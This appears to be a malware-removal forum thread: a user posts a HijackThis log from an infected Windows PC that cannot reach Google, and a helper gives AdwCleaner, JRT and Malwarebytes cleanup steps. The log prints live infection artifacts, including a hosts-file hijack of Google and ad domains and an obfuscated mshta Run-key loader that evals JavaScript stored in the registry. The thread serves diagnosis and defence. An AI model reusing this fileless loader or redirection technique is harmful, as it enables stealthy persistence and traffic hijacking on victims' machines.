Baseline

I cannot open anything Google or Youtube.

Any help would be immensely appreciated.

 

New to this community so I hope I went about this the correct way.

 

 

 

Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 1:25:17 PM, on 1/15/2017
Platform: Unknown Windows (WinNT 6.02.1008)
MSIE: Internet Explorer v11.0 (11.00.14393.0000)

FIREFOX: 50.1.0 (x86 en-US)
Boot mode: Normal

Running processes:
C:\Program Files\Webroot\WRSA.exe
C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
C:\Users\Nico\AppData\Local\Microsoft\OneDrive\OneDrive.exe
C:\Users\Nico\AppData\Local\FluxSoftware\Flux\flux.exe
C:\Program Files (x86)\Skype\Phone\Skype.exe
C:\Users\Nico\AppData\Local\Microsoft\BingSvc\BingSvc.exe
C:\Program Files (x86)\Steam\Steam.exe
C:\Users\Nico\AppData\Local\Akamai\netsession_win.exe
C:\Users\Nico\AppData\Local\Akamai\netsession_win.exe
C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AutodeskDesktopApp.exe
C:\Program Files (x86)\Autodesk\Autodesk Desktop App\acwebbrowser\acwebbrowser.exe
C:\Program Files (x86)\Autodesk\Autodesk Desktop App\acwebbrowser\acwebbrowser.exe
C:\Program Files (x86)\Autodesk\Autodesk Desktop App\acwebbrowser\acwebbrowser.exe
C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
C:\WINDOWS\SysWOW64\explorer.exe
C:\WINDOWS\SysWOW64\explorer.exe
C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe
C:\Program Files (x86)\Mozilla Firefox\firefox.exe
C:\WINDOWS\SysWOW64\ctfmon.exe
C:\Windows\SysWOW64\Macromed\Flash\FlashUtil_ActiveX.exe
C:\Users\Nico\Downloads\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://ASUS15.msn.com/?pc=ASTE
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.globasearch.com/?serie=216&b=3&installkey=XYDtixaL3LLcFvSTvgc2
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/p/?LinkId=255141
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.globasearch.com/?serie=216&b=3&installkey=XYDtixaL3LLcFvSTvgc2
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant =
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch =
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,First Home Page = http://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Local Page = %11%\blank.htm
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName =
O1 - Hosts: 34.195.153.94 www.google-analytics.com
O1 - Hosts: 34.195.153.94 google-analytics.com
O1 - Hosts: 34.195.153.94 mc.yandex.ru
O1 - Hosts: 34.195.153.94 top-fwz1.mail.ru
O1 - Hosts: 34.195.153.94 site.yandex.net
O1 - Hosts: 34.195.153.94 pagead2.googlesyndication.com
O1 - Hosts: 34.195.153.94 ad.mail.ru
O1 - Hosts: 34.195.153.94 ads.adfox.ru
O1 - Hosts: 34.195.153.94 ads.pubmatic.com
O1 - Hosts: 34.195.153.94 apis.google.com
O1 - Hosts: 34.195.153.94 autocontext.begun.ru
O1 - Hosts: 34.195.153.94 b.scorecardresearch.com
O1 - Hosts: 34.195.153.94 c.amazon-adsystem.com
O1 - Hosts: 34.195.153.94 cdn.admixer.net
O1 - Hosts: 34.195.153.94 cdn.cxense.com
O1 - Hosts: 34.195.153.94 cdn.livefyre.com
O1 - Hosts: 34.195.153.94 cdn.onthe.io
O1 - Hosts: 34.195.153.94 cdn.optimizely.com
O1 - Hosts: 34.195.153.94 cdn.prom.st
O1 - Hosts: 34.195.153.94 cdn.pushwoosh.com
O1 - Hosts: 34.195.153.94 cdn.tt.omtrdc.net
O1 - Hosts: 34.195.153.94 cdn1.graphiq.com
O1 - Hosts: 34.195.153.94 content.adriver.ru
O1 - Hosts: 34.195.153.94 d134l0cdryxgwa.cloudfront.net
O1 - Hosts: 34.195.153.94 gaua.hit.gemius.pl
O1 - Hosts: 34.195.153.94 gde-default.hit.gemius.pl
O1 - Hosts: 34.195.153.94 img.imgsmail.ru
O1 - Hosts: 34.195.153.94 img7.auto.ria.com
O1 - Hosts: 34.195.153.94 js-agent.newrelic.com
O1 - Hosts: 34.195.153.94 js.revsci.net
O1 - Hosts: 34.195.153.94 kamradamnaradost.ru
O1 - Hosts: 34.195.153.94 kpmediagaua.hit.gemius.pl
O1 - Hosts: 34.195.153.94 level1cdn.com
O1 - Hosts: 34.195.153.94 mc.yandex.ru
O1 - Hosts: 34.195.153.94 mtrx.go.sonobi.com
O1 - Hosts: 34.195.153.94 ninja.onap.io
O1 - Hosts: 34.195.153.94 odb.outbrain.com
O1 - Hosts: 34.195.153.94 optimize-stats.voxmedia.com
O1 - Hosts: 34.195.153.94 p.d.0fmm.com
O1 - Hosts: 34.195.153.94 pagead2.googlesyndication.com
O1 - Hosts: 34.195.153.94 pixel.vihub.ru
O1 - Hosts: 34.195.153.94 psma02.com
O1 - Hosts: 34.195.153.94 px.adhigh.net
O1 - Hosts: 34.195.153.94 rtax.criteo.com
O1 - Hosts: 34.195.153.94 rum-static.pingdom.net
O1 - Hosts: 34.195.153.94 s.ytimg.com
O1 - Hosts: 34.195.153.94 s1.olx.ua
O1 - Hosts: 34.195.153.94 sb.scorecardresearch.com
O1 - Hosts: 34.195.153.94 secure.whisla.com
O1 - Hosts: 34.195.153.94 securepubads.g.doubleclick.net
O1 - Hosts: 34.195.153.94 source.mmi.bemobile.ua
O1 - Hosts: 34.195.153.94 ssl.luxup.ru
O1 - Hosts: 34.195.153.94 ssp.rambler.ru
O1 - Hosts: 34.195.153.94 st.top100.ru
O1 - Hosts: 34.195.153.94 stat.media
O1 - Hosts: 34.195.153.94 static.censor.net.ua
O1 - Hosts: 34.195.153.94 static.criteo.net
O1 - Hosts: 34.195.153.94 static.dynamicyield.com
O1 - Hosts: 34.195.153.94 static.gazeta.ru
O1 - Hosts: 34.195.153.94 stats.g.doubleclick.net
O1 - Hosts: 34.195.153.94 stats.tmtm.ru
O1 - Hosts: 34.195.153.94 t2.korrespondent.net
O1 - Hosts: 34.195.153.94 tag.digitaltarget.ru
O1 - Hosts: 34.195.153.94 tag.marinsm.com
O1 - Hosts: 34.195.153.94 target.smi2.net
O1 - Hosts: 34.195.153.94 top-fwz1.mail.ru
O1 - Hosts: 34.195.153.94 tracker.bigl.ua
O1 - Hosts: 34.195.153.94 ua.hit.gemius.pl
O1 - Hosts: 34.195.153.94 www.google.com
O1 - Hosts: 34.195.153.94 www.googleadservices.com
O1 - Hosts: 34.195.153.94 www.googletagmanager.com
O1 - Hosts: 34.195.153.94 www.googletagservices.com
O1 - Hosts: 34.195.153.94 www.gstatic.com
O1 - Hosts: 34.195.153.94 www.tns-counter.ru
O1 - Hosts: 34.195.153.94 yastatic.net
O1 - Hosts: 34.195.153.94 z.moatads.com
O2 - BHO: True Key Helper - {0F4B8786-5502-4803-8EBC-F652A1153BB6} - C:\Program Files\Intel Security\True Key\MSIE\truekey_ie.dll
O2 - BHO: ExplorerBHO Class - {449D0D6E-2412-4E61-B68F-1CB625CD9E52} - C:\Program Files\Classic Shell\ClassicExplorer32.dll
O2 - BHO: Evernote extension - {92EF2EAD-A7CE-4424-B0DB-499CF856608E} - C:\Program Files (x86)\Evernote\Evernote\EvernoteIE.dll
O2 - BHO: Webroot Vault - {c8d5d964-2be8-4c5b-8cf5-6e975aa88504} - C:\ProgramData\WRData\pkg\LPBar.dll
O2 - BHO: Webroot Filtering Extension - {C9C42510-9B41-42c1-9DCD-7282A2D07C61} - C:\Program Files (x86)\Common Files\Webroot\WebFiltering\wrflt.dll
O2 - BHO: ClassicIEBHO Class - {EA801577-E6AD-4BD5-8F71-4BE0154331A4} - C:\Program Files\Classic Shell\ClassicIEDLL_32.dll
O3 - Toolbar: Classic Explorer Bar - {553891B7-A0D5-4526-BE18-D3CE461D6310} - C:\Program Files\Classic Shell\ClassicExplorer32.dll
O3 - Toolbar: True Key - {4BAAC1B8-0800-42C9-8FA6-08B211F356B8} - C:\Program Files\Intel Security\True Key\MSIE\truekey_ie.dll
O3 - Toolbar: Webroot Toolbar - {97ab88ef-346b-4179-a0b1-7445896547a5} - C:\ProgramData\WRData\pkg\LPBar.dll
O4 - HKLM\..\Run: [WebStorage] C:\Program Files (x86)\ASUS\WebStorage\2.1.11.399\ASUSWSLoader.exe
O4 - HKLM\..\Run: [RazerCortex] C:\Program Files (x86)\Razer\Razer Cortex\CortexLauncher.exe -autorun
O4 - HKLM\..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O4 - HKLM\..\Run: [AdobeCS6ServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
O4 - HKLM\..\Run: [Autodesk Desktop App] "C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AutodeskDesktopApp.exe" -tray
O4 - HKLM\..\Run: [LifeCam] "C:\Program Files (x86)\Microsoft LifeCam\LifeExp.exe"
O4 - HKLM\..\Run: [WRSVC] "C:\Program Files\Webroot\WRSA.exe" -ul
O4 - HKCU\..\Run: [OneDrive] "C:\Users\Nico\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background
O4 - HKCU\..\Run: [f.lux] "C:\Users\Nico\AppData\Local\FluxSoftware\Flux\flux.exe" /noshow
O4 - HKCU\..\Run: [Skype] "C:\Program Files (x86)\Skype\Phone\Skype.exe" /minimized /regrun
O4 - HKCU\..\Run: [BingSvc] C:\Users\Nico\AppData\Local\Microsoft\BingSvc\BingSvc.exe
O4 - HKCU\..\Run: [Steam] "C:\Program Files (x86)\Steam\steam.exe" -silent
O4 - HKCU\..\Run: [Akamai NetSession Interface] "C:\Users\Nico\AppData\Local\Akamai\netsession_win.exe"
O4 - HKCU\..\Run: [prsetup.exe] "C:\Users\Nico\AppData\Local\Temp\is-GV5LG.tmp\prsetup.exe" /logon
O4 - HKCU\..\Run: [] "C:\WINDOWS\system32\mshta.exe" javascript:cKLwEm9="idR";cI02=new%20ActiveXObject("WScript.Shell");MpId3S="Tl";yDAb0=cI02.RegRead("HKCU\\software\\gpyq\\keybngl");P7ovyqF="pz7Mh";eval(yDAb0);ZFjQ2yF="OroiqeLr";
O4 - HKCU\..\Run: [] "C:\Users\Nico\AppData\Local\b6cfa\f54c3.lnk"
O4 - HKUS\S-1-5-18\..\Run: []  (User 'SYSTEM')
O4 - HKUS\.DEFAULT\..\Run: []  (User 'Default user')
O4 - Startup: 1a0e2.lnk = ?
O4 - Startup: 472c8.lnk = C:\Windows\System32\cmd.exe
O4 - Global Startup: Install LastPass FF RunOnce.lnk = C:\Program Files (x86)\Common Files\wruninstall.exe
O4 - Global Startup: Install LastPass IE RunOnce.lnk = C:\Program Files (x86)\Common Files\wruninstall.exe
O4 - Global Startup: McAfee Security Scan Plus.lnk = C:\Program Files\McAfee Security Scan\3.11.474\SSScheduler.exe
O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions present
O9 - Extra button: Webroot - {43699cd0-e34f-11de-8a39-0800200c9a66} - C:\ProgramData\WRData\pkg\LPBar.dll
O9 - Extra 'Tools' menuitem: Webroot - {43699cd0-e34f-11de-8a39-0800200c9a66} - C:\ProgramData\WRData\pkg\LPBar.dll
O9 - Extra button: (no name) - {56753E59-AF1D-4FBA-9E15-31557124ADA2} - C:\Program Files\Classic Shell\ClassicIE_32.exe
O9 - Extra 'Tools' menuitem: Classic IE Settings - {56753E59-AF1D-4FBA-9E15-31557124ADA2} - C:\Program Files\Classic Shell\ClassicIE_32.exe
O9 - Extra button: @C:\Program Files (x86)\Evernote\Evernote\OLIEResource.dll,-101 - {A95fe080-8f5d-11d2-a20b-00aa003c157a} - C:\Program Files (x86)\Evernote\Evernote\\EvernoteIERes\AddNote.html
O9 - Extra 'Tools' menuitem: @C:\Program Files (x86)\Evernote\Evernote\OLIEResource.dll,-101 - {A95fe080-8f5d-11d2-a20b-00aa003c157a} - C:\Program Files (x86)\Evernote\Evernote\\EvernoteIERes\AddNote.html
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O18 - Protocol: tbauth - {14654CA6-5711-491D-B89A-58E571679951} - C:\Windows\SysWOW64\tbauth.dll
O18 - Protocol: windows.tbauth - {14654CA6-5711-491D-B89A-58E571679951} - C:\Windows\SysWOW64\tbauth.dll
O23 - Service: Autodesk Desktop App Service (AdAppMgrSvc) - Autodesk Inc. - C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AdAppMgrSvc.exe
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\WINDOWS\SysWoW64\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: Adobe Genuine Software Integrity Service (AGSService) - Adobe Systems, Incorporated - C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\WINDOWS\System32\alg.exe (file missing)
O23 - Service: ASUS Com Service (asComSvc) - Unknown owner - C:\Program Files (x86)\ASUS\AXSP\1.00.19\atkexComSvc.exe
O23 - Service: Asus WebStorage Windows Service - ASUS Cloud Corporation - C:\Program Files (x86)\ASUS\WebStorage\2.1.11.399\AsusWSWinService.exe
O23 - Service: BTDevManager - Unknown owner - C:\Program Files (x86)\REALTEK\Realtek Bluetooth Filter ONLY\BTDevMgr.exe
O23 - Service: @%SystemRoot%\system32\DiagSvcs\DiagnosticsHub.StandardCollector.ServiceRes.dll,-1000 (diagnosticshub.standardcollector.service) - Unknown owner - C:\WINDOWS\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe (file missing)
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\WINDOWS\System32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\fxsresm.dll,-118 (Fax) - Unknown owner - C:\WINDOWS\system32\fxssvc.exe (file missing)
O23 - Service: FlexNet Licensing Service 64 - Flexera Software LLC - C:\Program Files\Common Files\Macrovision Shared\FlexNet Publisher\FNPLicensingService64.exe
O23 - Service: NVIDIA GeForce Experience Service (GfExperienceService) - NVIDIA Corporation - C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
O23 - Service: Google Update Service (gupdate) (gupdate) - Unknown owner - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe (file missing)
O23 - Service: Google Update Service (gupdatem) (gupdatem) - Unknown owner - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe (file missing)
O23 - Service: Intel(R) Rapid Storage Technology (IAStorDataMgrSvc) - Intel Corporation - C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
O23 - Service: Service Installer TrueKey (InstallerService) - Unknown owner - C:\Program Files\TrueKey\Mcafee.TrueKey.InstallerService.exe (file missing)
O23 - Service: Intel(R) Capability Licensing Service TCP IP Interface - Intel(R) Corporation - C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe
O23 - Service: Intel(R) Security Assist - Intel Corporation - C:\Program Files (x86)\Intel\Intel(R) Security Assist\isa.exe
O23 - Service: Intel(R) Security Assist Helper (isaHelperSvc) - Unknown owner - C:\Program Files (x86)\Intel\Intel(R) Security Assist\isaHelperService.exe
O23 - Service: Intel(R) Dynamic Application Loader Host Interface Service (jhi_service) - Intel Corporation - C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\WINDOWS\system32\lsass.exe (file missing)
O23 - Service: Intel(R) Management and Security Application Local Management Service (LMS) - Intel Corporation - C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
O23 - Service: McAfee Security Scan Component Host Service (McComponentHostService) - McAfee, Inc. - C:\Program Files\McAfee Security Scan\3.11.474\McCHSvc.exe
O23 - Service: mental ray Satellite for Autodesk 3ds Max 2017 64-bit (mi-raysat_3dsmax2017_64) - Unknown owner - D:\Autodesk\3ds Max 2017\raysat_3dsmax2017_64server.exe (file missing)
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\WINDOWS\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\WINDOWS\system32\lsass.exe (file missing)
O23 - Service: NetUtils2016srv - Unknown owner - C:\WINDOWS\system32\NetUtils2016.exe
O23 - Service: NVIDIA Network Service (NvNetworkService) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
O23 - Service: NVIDIA Streamer Network Service (NvStreamNetworkSvc) - NVIDIA Corporation - C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe
O23 - Service: NVIDIA Streamer Service (NvStreamSvc) - NVIDIA Corporation - C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe
O23 - Service: NVIDIA Display Driver Service (nvsvc) - Unknown owner - C:\WINDOWS\system32\nvvsvc.exe (file missing)
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\WINDOWS\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\WINDOWS\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\SensorDataService.exe,-101 (SensorDataService) - Unknown owner - C:\WINDOWS\System32\SensorDataService.exe (file missing)
O23 - Service: Skype Updater (SkypeUpdate) - Skype Technologies - C:\Program Files (x86)\Skype\Updater\Updater.exe
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\WINDOWS\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\WINDOWS\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\WINDOWS\system32\sppsvc.exe (file missing)
O23 - Service: Steam Client Service - Valve Corporation - C:\Program Files (x86)\Common Files\Steam\SteamService.exe
O23 - Service: NVIDIA Stereoscopic 3D Driver Service (Stereo Service) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
O23 - Service: Adobe SwitchBoard (SwitchBoard) - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O23 - Service: @%SystemRoot%\system32\TieringEngineService.exe,-702 (TieringEngineService) - Unknown owner - C:\WINDOWS\system32\TieringEngineService.exe (file missing)
O23 - Service: Intel Security True Key (TrueKey) - McAfee, Inc. - C:\Program Files\TrueKey\McAfee.TrueKey.Service.exe
O23 - Service: Intel Security True Key Scheduler (TrueKeyScheduler) - McAfee, Inc. - C:\Program Files\TrueKey\McTkSchedulerService.exe
O23 - Service: Intel Security True Key Helper Service (TrueKeyServiceHelper) - McAfee, Inc. - C:\Program Files\TrueKey\McAfee.TrueKey.ServiceHelper.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\WINDOWS\system32\UI0Detect.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\WINDOWS\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\WINDOWS\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\WINDOWS\system32\vssvc.exe (file missing)
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\WINDOWS\system32\wbengine.exe (file missing)
O23 - Service: @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-320 (WdNisSvc) - Unknown owner - C:\Program Files (x86)\Windows Defender\NisSrv.exe (file missing)
O23 - Service: @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-310 (WinDefend) - Unknown owner - C:\Program Files (x86)\Windows Defender\MsMpEng.exe (file missing)
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\WINDOWS\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)
O23 - Service: WRSVC - Webroot - C:\Program Files\Webroot\WRSA.exe

–
End of file - 19019 bytes

Hi and welcome

Please print out or make a copy in notepad of any instructions given, as sometimes it is necessary to go offline and you will lose access to them.

[external image: BY4dvz9.png]AdwCleaner

• Please download AdwCleaner and save the file to your Desktop.
  In order to use AdwCleaner, you have to agree the Eula:
• Right-click AdwCleaner.exe and select [external image: AVOiBNU.jpg] Run as administrator to run the programme.
• Follow the prompts.
• Click [external image: A49sxPr.png]Scan.
• Upon completion, click [external image: 6cyn5v5.png]Logfile. A log (AdwCleaner[S1].txt) will open. Briefly check the log for anything you know to be legitimate.
• Return to AdwCleaner. Ensure anything you know to be legitimate does not have a checkmark under the corresponding tab.
• Click [external image: MqHawIb.png]Clean.
• Follow the prompts and allow your computer to reboot.
• After the reboot, a log (AdwCleaner[C1].txt) will open. Copy the contents of the log and paste in your next reply.

– File and folder backups are made for items removed using this programme. Should a legitimate file or folder be removed (otherwise known as a 'false-positive'), simple steps can be taken to restore the item. Please do not overly concern yourself with the contents of AdwCleaner[C1].txt.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Please download Junkware Removal Tool
or from here http://downloads.malwarebytes.org/file/jrt
to your desktop.

• Shut down your protection software now to avoid potential conflicts.
• Run the tool by double-clicking it. If you are using Windows Vista, 7, or 8; instead of double-clicking, right-mouse click JRT.exe and select "Run as Administrator".
• The tool will open and start scanning your system.
• Please be patient as this can take a while to complete depending on your system's specifications.
• On completion, a log (JRT.txt) is saved to your desktop and will automatically open.
• Post the contents of JRT.txt into your next message.

~~~~~~~~~~~~~~~~~`

Please download the Malwarebytes Anti-Malware setup file to your Desktop.

OR from this location Here

• Open mbam-setup.x.x.xxxx.exe (x represents the version #) and follow the prompts to install the programme.
• Windows Vista, Windows 7 , 8, 8.1 and 10 : Right click and select "Run as Administrator"
  [external image: MBAM3_zpsw0f8rn9n.jpg]
• On the Dashboard click on Update Now
• Go to the Setting Tab
• Under Setting go to Detection and Protection
• Under PUP and PUM make sure both are set to show Treat Detections as Malware
• Go to Advanced setting and make sure Automatically Quarantine Detected Items is checked
• Then on the Dashboard click on Scan
• Make sure to select THREAT SCAN
• Then click on Scan
• Note: You may see the following message, "Could not load DDA driver". Click Yes, allow your PC to reboot and continue afterwards.
• When the scan is finished on the bottom right click on SAVE RESULTS then select Copy to Clipboard
• If threats are detected, click Remove Selected. If you are prompted to reboot, click Yes.
• Please paste the log back into this thread for review
• Exit Malwarebytes

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please post
AdwCleaner[C1].txt
JRT.txt
Malwarebytes txt